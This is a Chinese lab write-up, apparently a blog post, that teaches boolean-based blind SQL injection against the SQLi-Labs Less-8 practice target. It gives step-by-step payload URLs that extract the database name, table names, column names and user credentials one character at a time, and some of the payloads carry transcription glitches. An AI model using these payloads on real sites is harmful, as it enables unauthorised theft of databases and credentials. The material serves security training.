SQL注入--基于布尔,时间的盲注

实验目的
了解布尔盲注技术的运用场景及条件,熟悉length()、substr()、ascii()等函数的用法,掌握基于布尔的盲注基本流程。

实验原理
( 1)关于布尔盲注
某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语
句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
(2)一些功能函数的说明
length(str):返回字符串 (str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串 (str))指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCII码。

实验步骤
本实验的目标是:以SQLi-Labs网站的Less-8为入口,利用基于布尔的盲注方式获取SQLi-Labs网站的登录用户名和密码。
 

1.访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的
SQLi-Labs网站Less-8。访问的URL为:

注:因为我把sqli-labs文件名字改为了sql,所以以下sqli-labs均以sql表示

http://[靶机IP]/sqli-labs/Less-8/


 

 登录后,根据网页提示,给定一个?id=1的参数,即:
http:/ /[靶机 IP]/sqli-labs/Less-8 / ?id=1
此时页面显示信息为You are in...,显示状态为True。

 如果给定一个?id=-1的参数,即:
http:/ /[靶机 IP]/sqli-labs/Less-8 / ?id=-1此时页面显示信息为空,显示状态为False。

 

3.盲猜网站当前所在数据库的库名长度
假设当前所在数据库的库名长度为N,尝试使用判断语句length(database())=M,
不断变化M的值去猜测,如果M不等于N,页面应该显示为False;如果M等
于N,页面应该显示为True。
例如执行如下payload:
http:// [靶机IP]/sqli-labs/Less-8 /?id=1' and length(database( ))=7--+

显示结果为False,说明网站当前所在数据库的库名长度不是7个字符!


 

 

http:// [靶机IP]/sqli-labs/Less-8 /?id=1' and length(database( ))=8--+

显示结果为True,说明网站当前所在数据库的库名长度8是个字符!

 

4.盲猜网站当前所在数据库的库名字符串
本步骤通过逐个字母盲猜的方式进行。
假设库名字符串的第1个字母为a,那么条件判断语句 substr(库名字符
串,1,1)='a’以及 ascii(substr(库名字符串,1,1))=97返回的结果均应为True (小
写字母a的ASCI码为97) ;
假设库名字符串的第2个字母为b,那么条件判断语句 substr(库名字符
串,2,1))='b’以及ascii(substr(库名字符串,2,1))=98返回的结果均应为True (小
写字母b的ASCIl码为98) ;
以此类推。
猜测库名的第1个字母:

http:// [靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'--+

http :/ /[靶机 IP]/sqli-labs/Less-8 / ?id=1' andascii(substr( database( ),1,1))=115--+

库名的第1个字母为s。


 

 

显示结果为True,猜测正确,库名的第1个字母为s。

猜测库名的第2个字母:
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr( database(),2,1)= 'e'--+


http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr( database(),2,1))=101--+

库名的第2个字母为e。

 

显示结果为True,猜测正确,库名的第2个字母为e。

以此类推,最终得到的字符串结果为security。
5.盲猜数据库security的全部表名
(1)猜测第1张表的表名
猜测第1张表的表名的第1个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema= 'security' limit 0,1),1,1))=101--+
第1张表的表名的第1个字符为e。


 

 猜测第1张表的表名的第2个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)= 'm '--+

http://[靶机IP]/sqli-labs/Less-8 /?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+
第1张表的表名的第2个字符为m。


以此类推,得到security库中的第1张表的名字为emails。
(2)猜测第2张表的表名
猜测第2张表的表名的第1个字符:
http://[靶机IP]/sqli-labs/Less-8 /?id=1' and substr((select table_name from  information_schema.tables where table_schema='security' limit1,1),1,1)= 'r '--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema= 'security ' limit1,1),1,1))=114--+
第2张表的表名的第1个字符为r。


 

  猜测第⒉张表的表名的第2个字符:
http:// [靶机IP]/sqli-labs/Less-8 /?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e '--+

http://[靶机IP]/sqli-labs

/Less-8 /?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema= 'security' limit 1,1),2,1))=101--+
第⒉张表的表名的第2个字符为e。

 

以此类推,得到security库中的第2张表的名字为referers。
依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到
security库中所有表的表名: emails、referers、uagents和 users。其中,第4
张表users 当中可能存放着网站用户的基本信息。
6.盲猜users表的全部字段名
( 1)猜测第1个字段名
猜测第1个字段名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1 ' and substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit e,1),1,1)= 'i' --+

http://[靶机IP]/sqli-labs/Less-8 / ?id=1' and ascii(substr((select column_name from   information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
第1个字段名的第1个字符为i。


 

 猜测第1个字段名的第2个字符:
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),2,1)= 'd ' --+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from  information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=1日日--+
第1个字段名的第2个字符为d。


 

 以此类推,得到users表中的第1个字段名为id。
依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到users
表中所有字段名: id、username和 password。
7.盲猜users表username和 password字段的全部值
(1)猜测第1组数据
猜测第1组数据的第1个字符:
http://[靶机IP]/sqli-labs/Less-8 /?id=1' and substr((select concat_ws ( ' , ' ,username,password ) from security.users limit 0,1),1,1)= 'D'--+ 或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr( ( select concat_ws( ' , ' ,username ,password ) from security.users limit 0,1),1,1))=68--十

 

猜测第1组数据的第2个字符:
http:/ /[靶机IP]/sqli-labs/Less-8 / ?id=1' and substr((select concat_ws ( ' , ' ,username , password  )from security.users limit 0,1),2,1)= 'u'--+


http:/ / [靶机IP]/sqli-labs/Less-8/ ?id=1' and ascii(substr((select concat_ws( ' , ' ,username ,password ) from security.users limit 0,1),2,1))=117--+

第1组数据的第2个字符为u。

 

以此类推,得到第1组数据为"Dump,Dump"。
注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:
http:/ / [靶机IP]/sqli-labs/Less-8 / ?id=1' and substr( (select concat_ws( ' , ' ,username ,password ) from security.users limit 0,1),5,1)=', ' --+


http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws( ' , ' ,username ,password ) from security.users limit 0,1),5,1))=44--+

 

 (2)猜测第⒉组数据
猜测第⒉组数据的第1个字符:
http://[靶机IP]/sqli-labs/Less-8 / ?id=1' and substr( (select concat_ws( ' , ' ,username , password ) from security.users limit 1,1),1,1)= 'A'--+


http://[靶机IP]/sqli-labs/Less-8 / ?id=1' and ascii(substr( (select concat_ws( ' , ' ,username , password ) from security .users limit 1,1),1,1))=65--+

第⒉组数据的第1个字符为A。

 

 

猜测第2组数据的第2个字符:
http://[靶机IP]/sqli-labs/Less-8 / ?id=1' and substr((select concat_ws ( ' , ' ,username , password ) from security.users limit 1,1),2,1)='n '--+


http:/ / [靶机IP]/sqli-labs/Less-8/ ?id=1' and ascii(substr((select concat_ws ( ' , ' ,username ,password ) from security.users limit 1,1),2,1))=110--+

第⒉组数据的第2个字符为n。
 

 以此类推,得到第⒉组数据为"Angelina,l-kill-you"。
依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到users表中 username和 password字段的全部值。
实验至此结束。
实验总结
本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉
了length()、substr()等函数的用法,掌握了基于布尔的盲注方法和流程。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值